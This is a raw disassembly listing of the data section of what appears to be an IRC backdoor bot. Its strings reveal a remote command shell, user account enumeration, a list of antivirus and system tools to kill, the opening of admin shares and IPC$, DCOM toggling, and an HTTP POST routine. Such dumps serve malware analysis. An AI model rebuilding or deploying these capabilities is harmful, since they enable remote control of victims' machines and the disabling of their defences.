aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EA4	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 4
unk_439ED8	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 10h
dword_43A1E0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A20C	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43A238	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A340
		dd offset dword_43A334
		dd offset dword_43A328
		dd offset dword_43A31C
		dd offset dword_43A310
		dd offset dword_43A304
		dd offset dword_43A2F4
		dd offset dword_43A2E8
		dd offset dword_43A2DC
		dd offset dword_43A2D0
		dd offset dword_43A2C4
		dd offset dword_43A2B4
		dd offset dword_43A2A8
		dd offset dword_43A298
dword_43A298	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; ___:0043A294o
dword_43A2A8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o
dword_43A2B4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043A28Co
dword_43A2C4	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043A288o
dword_43A2D0	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o
dword_43A2DC	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o
dword_43A2E8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co
dword_43A2F4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043A278o
dword_43A304	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043A274o
dword_43A310	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043A270o
dword_43A31C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043A26Co
dword_43A328	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043A268o
dword_43A334	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043A264o
dword_43A340	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043A260o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043A254o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043A250o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043A24Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043A248o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043A244o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043A240o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043A23Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43A238o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 10h
unk_43A3F0	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A414	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A438	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A4C0	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A4F0	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A524	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A548	dd offset dword_43A580	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 10h
		dd offset dword_43A578
		align 8
off_43A558	dd offset dword_43A574	; DATA XREF: sub_41A6EA+1E3o
		dd offset off_43A570
		dd offset dword_43A56C
		dd offset off_43A568
off_43A568	dd offset dword_5C3A44	; DATA XREF: sub_41A3C6+217o
					; ___:0043A564o
dword_43A56C	dd 2444h		; DATA XREF: ___:0043A560o
off_43A570	dd offset byte_5C3A43	; DATA XREF: ___:0043A55Co
dword_43A574	dd 2443h		; DATA XREF: ___:off_43A558o
dword_43A578	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A550o
dword_43A580	dd 24435049h, 0		; DATA XREF: ___:off_43A548o
dword_43A588	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A5B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A5E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A60C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A630	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A65C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A680	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A6B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A720	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 10h
dword_43A770	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7A0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 10h
dword_43A7F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A820	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A868	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8DC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A91C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A938	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A990	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43AB9C	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC78	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43AC9C	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACE0	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43ACF0	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD00	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
unk_43AD30	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD5C	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD78	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADB4	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADD0	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADD4	dw 4			; DATA XREF: sub_41B55B+10r
		align 4
dword_43ADD8	dd 6325h		; DATA XREF: ___:0041B89Co
dword_43ADDC	dd 0DFFh		; DATA XREF: ___:0041B6EAo
dword_43ADE0	dd 51FFh		; DATA XREF: ___:0041B6DFo
dword_43ADE4	dd 0EBFFh		; DATA XREF: ___:0041B6D4o
dword_43ADE8	dd 201h			; DATA XREF: ___:0041B6BFo
dword_43ADEC	dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE00	dd 70E17405h		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE10	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE1C	dd offset sub_41D124	; DATA XREF: ___:0041C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE28	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE2C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE40	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE44	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE50	dd offset off_43AE50	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE54	dd offset off_43AE50	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE68
		dd offset dword_43AE68
dword_43AE60	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE68	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043AE58o
					; ___:0043AE5Co
off_43CE70	dd offset off_43AE50	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE74	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE78	dd offset word_43CE82	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE7C	dd offset word_43CE82	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE82	dw 20h			; DATA XREF: sub_424FF8+18r
					; ___:off_43CE78o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D088	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D090	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D094	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D098	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0A0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0A4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0B0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D194	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D300	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D308	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D30C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3E0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D408	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D414	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D420	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D424	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D428	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D42C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D430	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D434	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
off_43D444	dd offset sub_422DFC	; DATA XREF: sub_422E52+29r
dword_43D448	dd 0C0000005h		; DATA XREF: sub_423638+Ar
					; sub_423638+11o ...
dword_43D44C	dd 0Bh			; DATA XREF: sub_425D33+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D4C0	dd 3			; DATA XREF: ___:0042354Fr
					; sub_425C06+C8r
